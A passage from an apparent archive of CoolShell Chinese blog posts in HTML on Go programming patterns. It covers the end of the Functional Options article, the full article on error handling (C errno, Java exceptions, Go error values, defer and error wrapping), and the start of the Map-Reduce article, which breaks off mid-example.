<code>func(s* Server) { s.MaxConns = 30 }</code> 的函数。</li>\n</ul>\n<p>这个叫高阶函数。在数学上，就好像这样的数学定义，计算长方形面积的公式为： <code>rect(width, height) = width * height;</code> 这个函数需要两个参数，我们包装一下，就可以变成计算正方形面积的公式：<code>square(width) = rect(width, width)</code> 也就是说，<code>squre(width)</code>返回了另外一个函数，这个函数就是<code>rect(w,h)</code> 只不过他的两个参数是一样的。即：<code>f(x)  = g(x, x)</code></p>\n<p>好了，现在我们再定一个 <code>NewServer()</code>的函数，其中，有一个可变参数 <code>options</code> 其可以传出多个上面上的函数，然后使用一个for-loop来设置我们的 <code>Server</code> 对象。</p>\n<pre class=\"EnlighterJSRAW\">func NewServer(addr string, port int, options ...func(*Server)) (*Server, error) {\n\n  srv := Server{\n    Addr:     addr,\n    Port:     port,\n    Protocol: \"tcp\",\n    Timeout:  30 * time.Second,\n    MaxConns: 1000,\n    TLS:      nil,\n  }\n  for _, option := range options {\n    option(&amp;srv)\n  }\n  //...\n  return &amp;srv, nil\n}</pre>\n<p>于是，我们在创建 <code>Server</code> 对象的时候，我们就可以这样来了。</p>\n<pre class=\"EnlighterJSRAW\">s1, _ := NewServer(\"localhost\", 1024)\ns2, _ := NewServer(\"localhost\", 2048, Protocol(\"udp\"))\ns3, _ := NewServer(\"0.0.0.0\", 8080, Timeout(300*time.Second), MaxConns(1000))</pre>\n<p>怎么样，是不是高度的整洁和优雅？不但解决了使用 <code>Config</code> 对象方式 的需要有一个config参数，但在不需要的时候，是放 <code>nil</code> 还是放 <code>Config{}</code>的选择困难，也不需要引用一个Builder的控制对象，直接使用函数式编程的试，在代码阅读上也很优雅。</p>\n<p>所以，以后，大家在要玩类似的代码时，强烈推荐使用Functional Options这种方式，这种方式至少带来了如下的好处：</p>\n<ul>\n<li>直觉式的编程</li>\n<li>高度的可配置化</li>\n<li>很容易维护和扩展</li>\n<li>自文档</li>\n<li>对于新来的人很容易上手</li>\n<li>没有什么令人困惑的事（是nil 还是空）</li>\n</ul>\n<h4>参考文档</h4>\n<ul>\n<li><b>“Self referential functions and design” by Rob Pike<br/>\n</b><a href=\"http://commandcenter.blogspot.com.au/2014/01/self-referential-functions-and-design.html\">http://commandcenter.blogspot.com.au/2014/01/self-referential-functions-and-design.html</a></li>\n</ul>\n<p>(全文完)<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21164.html\"><img alt=\"Go编程模式：Map-Reduce\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.map_.reduce-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21164.html\">Go编程模式：Map-Reduce</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17929.html\"><img alt=\"Go编程模式：修饰器\" height=\"150\" src=\"../wp-content/uploads/2017/06/go-hardhat-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17929.html\">Go编程模式：修饰器</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21615.html\"><img alt=\"Go编程模式 ： 泛型编程\" height=\"150\" src=\"../wp-content/uploads/2021/09/go-generics-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21615.html\">Go编程模式 ： 泛型编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21263.html\"><img alt=\"Go 编程模式：k8s Visitor 模式\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.k8s-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21263.html\">Go 编程模式：k8s Visitor 模式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21228.html\"><img alt=\"Go编程模式：Pipeline\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.line_.-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21228.html\">Go编程模式：Pipeline</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21214.html\"><img alt=\"Go编程模式：委托和反转控制\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.pair_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21214.html\">Go编程模式：委托和反转控制</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/21146.html\">Go 编程模式：Functional Options</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2020-12-22 Go 编程模式：错误处理.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright size-medium wp-image-21143\" height=\"186\" src=\"../wp-content/uploads/2020/12/err-check-300x186.jpg\" width=\"300\"/>错误处理一直以一是编程必需要面对的问题，错误处理如果做的好的话，代码的稳定性会很好。不同的语言有不同的出现处理的方式。Go语言也一样，在本篇文章中，我们来讨论一下Go语言的出错出处，尤其是那令人抓狂的 <code>if err != nil</code> 。</p>\n<p>在正式讨论Go代码里满屏的 <code>if err != nil</code> 怎么办这个事之前，我想先说一说编程中的错误处理。这样可以让大家在更高的层面理解编程中的错误处理。</p>\n<section class=\"post-series\"><h3 class=\"post-series-title\">本文是全系列中第2 / 10篇：<a href=\"https://coolshell.cn/articles/series/go%e7%bc%96%e7%a8%8b%e6%a8%a1%e5%bc%8f\">Go编程模式</a></h3><ul class=\"post-series-list\"><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21128.html\">Go编程模式：切片，接口，时间和性能</a></span></li><li class=\"post-series-item-current post-series-item\"><span class=\"post-series-item-title\">Go 编程模式：错误处理</span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21146.html\">Go 编程模式：Functional Options</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21214.html\">Go编程模式：委托和反转控制</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21164.html\">Go编程模式：Map-Reduce</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21179.html\">Go 编程模式：Go Generation</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/17929.html\">Go编程模式：修饰器</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21228.html\">Go编程模式：Pipeline</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21263.html\">Go 编程模式：k8s Visitor 模式</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21615.html\">Go编程模式 ： 泛型编程</a></span></li></ul><nav class=\"post-series-nav\"><span class=\"post-series-nav-prev\">« <a href=\"https://coolshell.cn/articles/21128.html\" rel=\"prev\" title=\"Go编程模式：切片，接口，时间和性能\">上一篇文章</a></span><span class=\"post-series-nav-next\"><a href=\"https://coolshell.cn/articles/21146.html\" rel=\"next\" title=\"Go 编程模式：Functional Options\">下一篇文章</a> »</span></nav></section>\n<h4>C语言的错误检查</h4>\n<p>首先，我们知道，处理错误最直接的方式是通过错误码，这也是传统的方式，在过程式语言中通常都是用这样的方式处理错误的。比如 C 语言，基本上来说，其通过函数的返回值标识是否有错，然后通过全局的 <code>errno</code> 变量并配合一个 <code>errstr</code> 的数组来告诉你为什么出错。</p>\n<p>为什么是这样的设计？道理很简单，除了可以共用一些错误，更重要的是这其实是一种妥协。比如：<code>read()</code>, <code>write()</code>, <code>open()</code> 这些函数的返回值其实是返回有业务逻辑的值。也就是说，这些函数的返回值有两种语义，一种是成功的值，比如 <code>open()</code> 返回的文件句柄指针 <code>FILE*</code> ，或是错误 <code>NULL</code>。这样会导致调用者并不知道是什么原因出错了，需要去检查 <code>errno</code> 来获得出错的原因，从而可以正确地处理错误。</p>\n<p>一般而言，这样的错误处理方式在大多数情况下是没什么问题的。但是也有例外的情况，我们来看一下下面这个 C 语言的函数：</p>\n<p><span id=\"more-21140\"></span></p>\n<pre class=\"EnlighterJSRAW\">int atoi(const char *str)</pre>\n<p>这个函数是把一个字符串转成整型。但是问题来了，如果一个要传的字符串是非法的（不是数字的格式），如 “ABC” 或者整型溢出了，那么这个函数应该返回什么呢？出错返回，返回什么数都不合理，因为这会和正常的结果混淆在一起。比如，返回 <code>0</code>，那么会和正常的对 “0” 字符的返回值完全混淆在一起。这样就无法判断出错的情况。你可能会说，是不是要检查一下 <code>errno</code>，按道理说应该是要去检查的，但是，我们在 C99 的规格说明书中可以看到这样的描述——</p>\n<blockquote><p>7.20.1The functions atof, atoi, atol, and atoll need not affect the value of the integer expression errno on an error. If the value of the result cannot be represented, the behavior is undeﬁned.</p></blockquote>\n<p>像<code>atoi()</code>, <code>atof()</code>, <code>atol()</code> 或是 <code>atoll()</code> 这样的函数是不会设置 <code>errno</code>的，而且，还说了，如果结果无法计算的话，行为是undefined。所以，后来，libc 又给出了一个新的函数<code>strtol()</code>，这个函数在出错的时会设置全局变量 <code>errno</code> ：</p>\n<pre class=\"EnlighterJSRAW\">long val = strtol(in_str, &amp;endptr, 10);  //10的意思是10进制\n\n//如果无法转换\nif (endptr == str) {\n    fprintf(stderr, \"No digits were found\\n\");\n    exit(EXIT_FAILURE);\n}\n\n//如果整型溢出了\nif ((errno == ERANGE &amp;&amp; (val == LONG_MAX || val == LONG_MIN)) {\n    fprintf(stderr, \"ERROR: number out of range for LONG\\n\");\n    exit(EXIT_FAILURE);\n }\n\n//如果是其它错误\nif (errno != 0 &amp;&amp; val == 0) {\n    perror(\"strtol\");\n    exit(EXIT_FAILURE);\n}\n</pre>\n<p>虽然，<code>strtol()</code> 函数解决了 <code>atoi()</code> 函数的问题，但是我们还是能感觉到不是很舒服和自然。</p>\n<p>因为，这种用 返回值 + errno 的错误检查方式会有一些问题:</p>\n<ul>\n<li>程序员一不小心就会忘记返回值的检查，从而造成代码的 Bug；</li>\n<li>函数接口非常不纯洁，正常值和错误值混淆在一起，导致语义有问题。</li>\n</ul>\n<p>所以，后来，有一些类库就开始区分这样的事情。比如，Windows 的系统调用开始使用 <code>HRESULT</code> 的返回来统一错误的返回值，这样可以明确函数调用时的返回值是成功还是错误。但这样一来，函数的 input 和 output 只能通过函数的参数来完成，于是出现了所谓的 入参 和 出参 这样的区别。</p>\n<p>然而，这又使得函数接入中参数的语义变得复杂，一些参数是入参，一些参数是出参，函数接口变得复杂了一些。而且，依然没有解决函数的成功或失败可以被人为忽略的问题。</p>\n<h4>Java的错误处理</h4>\n<p>Java语言使用 <code>try-catch-finally</code> 通过使用异常的方式来处理错误，其实，这比起C语言的错处理进了一大步，使用抛异常和抓异常的方式可以让我们的代码有这样的一些好处：</p>\n<ul>\n<li>函数接口在 input（参数）和 output（返回值）以及错误处理的语义是比较清楚的。</li>\n<li>正常逻辑的代码可以与错误处理和资源清理的代码分开，提高了代码的可读性。</li>\n<li>异常不能被忽略（如果要忽略也需要 catch 住，这是显式忽略）。</li>\n<li>在面向对象的语言中（如 Java），异常是个对象，所以，可以实现多态式的 catch。</li>\n<li>与状态返回码相比，异常捕捉有一个显著的好处是，函数可以嵌套调用，或是链式调用。比如：\n<ul>\n<li><code>int x = add(a, div(b,c));</code></li>\n<li><code>Pizza p = PizzaBuilder().SetSize(sz).SetPrice(p)...;</code></li>\n</ul>\n</li>\n</ul>\n<h4>Go语言的错误处理</h4>\n<p>Go 语言的函数支持多返回值，所以，可以在返回接口把业务语义（业务返回值）和控制语义（出错返回值）区分开来。Go 语言的很多函数都会返回 result, err 两个值，于是:</p>\n<ul>\n<li>参数上基本上就是入参，而返回接口把结果和错误分离，这样使得函数的接口语义清晰；</li>\n<li>而且，Go 语言中的错误参数如果要忽略，需要显式地忽略，用 _ 这样的变量来忽略；</li>\n<li>另外，因为返回的 <code>error</code> 是个接口（其中只有一个方法 <code>Error()</code>，返回一个 <code>string</code> ），所以你可以扩展自定义的错误处理。</li>\n</ul>\n<p>另外，如果一个函数返回了多个不同类型的 <code>error</code>，你也可以使用下面这样的方式：</p>\n<pre class=\"EnlighterJSRAW\">if err != nil {\n  switch err.(type) {\n    case *json.SyntaxError:\n      ...\n    case *ZeroDivisionError:\n      ...\n    case *NullPointerError:\n      ...\n    default:\n      ...\n  }\n}</pre>\n<p>我们可以看到，Go语言的错误处理的的方式，本质上是返回值检查，但是他也兼顾了异常的一些好处 – 对错误的扩展。</p>\n<h4>资源清理</h4>\n<p>出错后是需要做资源清理的，不同的编程语言有不同的资源清理的编程模式：</p>\n<ul>\n<li>C语言 – 使用的是 <code>goto fail;</code> 的方式到一个集中的地方进行清理（有篇有意思的文章可以看一下《<a href=\"https://coolshell.cn/articles/11112.html\" rel=\"noopener\" target=\"_blank\" title=\"由苹果的低级Bug想到的\">由苹果的低级BUG想到的</a>》）</li>\n<li>C++语言- 一般来说使用 <a href=\"https://en.wikipedia.org/wiki/Resource_acquisition_is_initialization\" rel=\"noopener\" target=\"_blank\">RAII模式</a>，通过面向对象的代理模式，把需要清理的资源交给一个代理类，然后在析构函数来解决。</li>\n<li>Java语言 – 可以在finally 语句块里进行清理。</li>\n<li>Go语言 – 使用 <code>defer</code> 关键词进行清理。</li>\n</ul>\n<p>下面是一个Go语言的资源清理的示例：</p>\n<pre class=\"EnlighterJSRAW\">func Close(c io.Closer) {\n  err := c.Close()\n  if err != nil {\n    log.Fatal(err)\n  }\n}\n\nfunc main() {\n  r, err := Open(\"a\")\n  if err != nil {\n    log.Fatalf(\"error opening 'a'\\n\")\n  }\n  defer Close(r) // 使用defer关键字在函数退出时关闭文件。\n\n  r, err = Open(\"b\")\n  if err != nil {\n    log.Fatalf(\"error opening 'b'\\n\")\n  }\n  defer Close(r) // 使用defer关键字在函数退出时关闭文件。\n}</pre>\n<h4>Error Check  Hell</h4>\n<p>好了，说到 Go 语言的 <code>if err !=nil</code> 的代码了，这样的代码的确是能让人写到吐。那么有没有什么好的方式呢，有的。我们先看如下的一个令人崩溃的代码。</p>\n<pre class=\"EnlighterJSRAW\">func parse(r io.Reader) (*Point, error) {\n\n    var p Point\n\n    if err := binary.Read(r, binary.BigEndian, &amp;p.Longitude); err != nil {\n        return nil, err\n    }\n    if err := binary.Read(r, binary.BigEndian, &amp;p.Latitude); err != nil {\n        return nil, err\n    }\n    if err := binary.Read(r, binary.BigEndian, &amp;p.Distance); err != nil {\n        return nil, err\n    }\n    if err := binary.Read(r, binary.BigEndian, &amp;p.ElevationGain); err != nil {\n        return nil, err\n    }\n    if err := binary.Read(r, binary.BigEndian, &amp;p.ElevationLoss); err != nil {\n        return nil, err\n    }\n}</pre>\n<p>要解决这个事，我们可以用函数式编程的方式，如下代码示例：</p>\n<pre class=\"EnlighterJSRAW\">func parse(r io.Reader) (*Point, error) {\n    var p Point\n    var err error\n    read := func(data interface{}) {\n        if err != nil {\n            return\n        }\n        err = binary.Read(r, binary.BigEndian, data)\n    }\n\n    read(&amp;p.Longitude)\n    read(&amp;p.Latitude)\n    read(&amp;p.Distance)\n    read(&amp;p.ElevationGain)\n    read(&amp;p.ElevationLoss)\n\n    if err != nil {\n        return &amp;p, err\n    }\n    return &amp;p, nil\n}</pre>\n<p>上面的代码我们可以看到，我们通过使用Closure 的方式把相同的代码给抽出来重新定义一个函数，这样大量的  <code>if err!=nil</code> 处理的很干净了。但是会带来一个问题，那就是有一个 <code>err</code> 变量和一个内部的函数，感觉不是很干净。</p>\n<p>那么，我们还能不能搞得更干净一点呢，我们从Go 语言的 <code>bufio.Scanner()</code>中似乎可以学习到一些东西：</p>\n<pre class=\"EnlighterJSRAW\">scanner := bufio.NewScanner(input)\n\nfor scanner.Scan() {\n    token := scanner.Text()\n    // process token\n}\n\nif err := scanner.Err(); err != nil {\n    // process the error\n}</pre>\n<p>上面的代码我们可以看到，<code>scanner</code>在操作底层的I/O的时候，那个for-loop中没有任何的 <code>if err !=nil</code> 的情况，退出循环后有一个 <code>scanner.Err()</code> 的检查。看来使用了结构体的方式。模仿它，我们可以把我们的代码重构成下面这样：</p>\n<p>首先，定义一个结构体和一个成员函数</p>\n<pre class=\"EnlighterJSRAW\">type Reader struct {\n    r   io.Reader\n    err error\n}\n\nfunc (r *Reader) read(data interface{}) {\n    if r.err == nil {\n        r.err = binary.Read(r.r, binary.BigEndian, data)\n    }\n}</pre>\n<p>然后，我们的代码就可以变成下面这样：</p>\n<pre class=\"EnlighterJSRAW\">func parse(input io.Reader) (*Point, error) {\n    var p Point\n    r := Reader{r: input}\n\n    r.read(&amp;p.Longitude)\n    r.read(&amp;p.Latitude)\n    r.read(&amp;p.Distance)\n    r.read(&amp;p.ElevationGain)\n    r.read(&amp;p.ElevationLoss)\n\n    if r.err != nil {\n        return nil, r.err\n    }\n\n    return &amp;p, nil\n}</pre>\n<p>有了上面这个技术，我们的“<a href=\"https://martinfowler.com/bliki/FluentInterface.html\" rel=\"noopener\" target=\"_blank\">流式接口 Fluent Interface</a>”，也就很容易处理了。如下所示：</p>\n<pre class=\"EnlighterJSRAW\">package main\n\nimport (\n  \"bytes\"\n  \"encoding/binary\"\n  \"fmt\"\n)\n\n// 长度不够，少一个Weight\nvar b = []byte {0x48, 0x61, 0x6f, 0x20, 0x43, 0x68, 0x65, 0x6e, 0x00, 0x00, 0x2c} \nvar r = bytes.NewReader(b)\n\ntype Person struct {\n  Name [10]byte\n  Age uint8\n  Weight uint8\n  err error\n}\nfunc (p *Person) read(data interface{}) {\n  if p.err == nil {\n    p.err = binary.Read(r, binary.BigEndian, data)\n  }\n}\n\nfunc (p *Person) ReadName() *Person {\n  p.read(&amp;p.Name) \n  return p\n}\nfunc (p *Person) ReadAge() *Person {\n  p.read(&amp;p.Age) \n  return p\n}\nfunc (p *Person) ReadWeight() *Person {\n  p.read(&amp;p.Weight) \n  return p\n}\nfunc (p *Person) Print() *Person {\n  if p.err == nil {\n    fmt.Printf(\"Name=%s, Age=%d, Weight=%d\\n\",p.Name, p.Age, p.Weight)\n  }\n  return p\n}\n\nfunc main() {   \n  p := Person{}\n  p.ReadName().ReadAge().ReadWeight().Print()\n  fmt.Println(p.err)  // EOF 错误\n}\n</pre>\n<p>相信你应该看懂这个技巧了，但是，其使用场景也就只能在对于同一个业务对象的不断操作下可以简化错误处理，对于多个业务对象的话，还是得需要各种 <code>if err != nil</code>的方式。</p>\n<h4>包装错误</h4>\n<p>最后，多说一句，我们需要包装一下错误，而不是干巴巴地把<code>err</code>给返回到上层，我们需要把一些执行的上下文加入。</p>\n<p>通常来说，我们会使用 <code>fmt.Errorf()</code>来完成这个事，比如：</p>\n<pre class=\"EnlighterJSRAW\">if err != nil {\n   return fmt.Errorf(\"something failed: %v\", err)\n}</pre>\n<p>另外，在Go语言的开发者中，更为普遍的做法是将错误包装在另一个错误中，同时保留原始内容：</p>\n<pre class=\"EnlighterJSRAW\">type authorizationError struct {\n    operation string\n    err error   // original error\n}\n\nfunc (e *authorizationError) Error() string {\n    return fmt.Sprintf(\"authorization failed during %s: %v\", e.operation, e.err)\n}</pre>\n<p>当然，更好的方式是通过一种标准的访问方法，这样，我们最好使用一个接口，比如 <code>causer</code>接口中实现 <code>Cause()</code> 方法来暴露原始错误，以供进一步检查：</p>\n<pre class=\"EnlighterJSRAW\">type causer interface {\n    Cause() error\n}\n\nfunc (e *authorizationError) Cause() error {\n    return e.err\n}\n</pre>\n<p> </p>\n<p>这里有个好消息是，这样的代码不必再写了，有一个第三方的错误库（<a href=\"https://github.com/pkg/errors\" rel=\"noopener\" target=\"_blank\">github.com/pkg/errors</a>），对于这个库，我无论到哪都能看到他的存在，所以，这个基本上来说就是事实上的标准了。代码示例如下：</p>\n<pre class=\"EnlighterJSRAW\">import \"github.com/pkg/errors\"\n\n//错误包装\nif err != nil {\n    return errors.Wrap(err, \"read failed\")\n}\n\n// Cause接口\nswitch err := errors.Cause(err).(type) {\ncase *MyError:\n    // handle specifically\ndefault:\n    // unknown error\n}</pre>\n<h4>参考文章</h4>\n<ul>\n<li><b>Golang Error Handling lesson by Rob Pike<br/>\n</b><a href=\"http://jxck.hatenablog.com/entry/golang-error-handling-lesson-by-rob-pike\">http://jxck.hatenablog.com/entry/golang-error-handling-lesson-by-rob-pike</a></li>\n<li><b>Errors are values<br/>\n</b><a href=\"https://blog.golang.org/errors-are-values\">https://blog.golang.org/errors-are-values</a></li>\n</ul>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21615.html\"><img alt=\"Go编程模式 ： 泛型编程\" height=\"150\" src=\"../wp-content/uploads/2021/09/go-generics-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21615.html\">Go编程模式 ： 泛型编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21263.html\"><img alt=\"Go 编程模式：k8s Visitor 模式\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.k8s-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21263.html\">Go 编程模式：k8s Visitor 模式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21228.html\"><img alt=\"Go编程模式：Pipeline\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.line_.-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21228.html\">Go编程模式：Pipeline</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21214.html\"><img alt=\"Go编程模式：委托和反转控制\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.pair_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21214.html\">Go编程模式：委托和反转控制</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21179.html\"><img alt=\"Go 编程模式：Go Generation\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.generate-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21179.html\">Go 编程模式：Go Generation</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21164.html\"><img alt=\"Go编程模式：Map-Reduce\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.map_.reduce-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21164.html\">Go编程模式：Map-Reduce</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/21140.html\">Go 编程模式：错误处理</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2020-12-24 Go编程模式：Map-Reduce.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright size-medium wp-image-21251\" height=\"192\" src=\"../wp-content/uploads/2020/12/go.map_.reduce-300x192.png\" width=\"300\"/>在本篇文章中，我们学习一下函数式编程的中非常重要的Map、Reduce、Filter的三种操作，这三种操作可以让我们非常方便灵活地进行一些数据处理——我们的程序中大多数情况下都是在到倒腾数据，尤其对于一些需要统计的业务场景，Map/Reduce/Filter是非常通用的玩法。下面先来看几个例子：</p>\n<section class=\"post-series\"><h3 class=\"post-series-title\">本文是全系列中第5 / 10篇：<a href=\"https://coolshell.cn/articles/series/go%e7%bc%96%e7%a8%8b%e6%a8%a1%e5%bc%8f\">Go编程模式</a></h3><ul class=\"post-series-list\"><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21128.html\">Go编程模式：切片，接口，时间和性能</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21140.html\">Go 编程模式：错误处理</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21146.html\">Go 编程模式：Functional Options</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21214.html\">Go编程模式：委托和反转控制</a></span></li><li class=\"post-series-item-current post-series-item\"><span class=\"post-series-item-title\">Go编程模式：Map-Reduce</span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21179.html\">Go 编程模式：Go Generation</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/17929.html\">Go编程模式：修饰器</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21228.html\">Go编程模式：Pipeline</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21263.html\">Go 编程模式：k8s Visitor 模式</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21615.html\">Go编程模式 ： 泛型编程</a></span></li></ul><nav class=\"post-series-nav\"><span class=\"post-series-nav-prev\">« <a href=\"https://coolshell.cn/articles/21214.html\" rel=\"prev\" title=\"Go编程模式：委托和反转控制\">上一篇文章</a></span><span class=\"post-series-nav-next\"><a href=\"https://coolshell.cn/articles/21179.html\" rel=\"next\" title=\"Go 编程模式：Go Generation\">下一篇文章</a> »</span></nav></section>\n<h4>基本示例</h4>\n<h5>Map示例</h5>\n<p>下面的程序代码中，我们写了两个Map函数，这两个函数需要两个参数，</p>\n<ul>\n<li>一个是字符串数组 <code>[]string</code>，说明需要处理的数据一个字符串</li>\n<li>另一个是一个函数<code>func(s string) string</code> 或 <code>func(s string) int</code></li>\n</ul>\n<pre class=\"EnlighterJSRAW\">func MapStrToStr(arr []string, fn func(s string) string) []string {\n    var newArray = []string{}\n    for _, it := range arr {\n        newArray = append(newArray, fn(it))\n    }\n    return newArray\n}\n\nfunc MapStrToInt(arr []string, fn func(s string) int) []int {\n    var newArray = []int{}\n    for _, it := range arr {\n        newArray = append(newArray, fn(it))\n    }\n    return newArray\n}</pre>\n<p>整个Map函数运行逻辑都很相似，函数体都是在遍历第一个参数的数组，然后，调用第二个参数的函数，然后把其值组合成另一个数组返回。</p>\n<p><span id=\"more-21164\"></span></p>\n<p>于是我们就可以这样使用这两个函数：</p>\n<pre class=\"EnlighterJSRAW\">var list = []string{\"Hao\", \"Chen\", \"MegaEase\"}\n\nx := MapStrToStr(list, func(s string) string {\n    return strings.ToUpper(s)\n})\nfmt.Printf(\"%v\\n\", x)\n//[\"HAO\", \"CHEN\", \"MEGAEASE\"]\n\ny := MapStrToInt(list, func(s string) int {\n    return len(s)\n})\nfmt.Printf(\"%v\\n\", y)\n//[3, 4, 8]</pre>\n<p>我们可以看到，我们给第一个 <code>MapStrToStr()</code> 传了函数做的是 转大写，于是出来的数组就成了全大写的，给<code>MapStrToInt()</code> 传的是算其长度，所以出来的数组是每个字符串的长度。</p>\n<p>我们再来看一下Reduce和Filter的函数是什么样的。</p>\n<h5><strong>Reduce 示例</strong></h5>\n<pre class=\"EnlighterJSRAW\">func Reduce(arr []string, fn func(s string) int) int {\n    sum := 0\n    for _, it := range arr {\n        sum += fn(it)\n    }\n    return sum\n}\n\nvar list = []string{\"Hao\", \"Chen\", \"MegaEase\"}\n\nx := Reduce(list, func(s string) int {\n    return len(s)\n})\nfmt.Printf(\"%v\\n\", x)\n// 15\n</pre>\n<h5><strong>Filter示例</strong></h5>\n<pre class=\"EnlighterJSRAW\">func Filter(arr []int, fn func(n int) bool) []int {\n    var newArray = []int{}\n    for _, it := range arr {\n        if fn(it) {\n            newArray = append(newArray, it)\n        }\n    }\n    return newArray\n}\n\nvar intset = []int{1, 2, 3, 4, 5, 6, 7, 8, 9, 10}\nout := Filter(intset, func(n int) bool {\n   return n%2 == 1\n})\nfmt.Printf(\"%v\\n\", out)\n\nout = Filter(intset, func(n int) bool 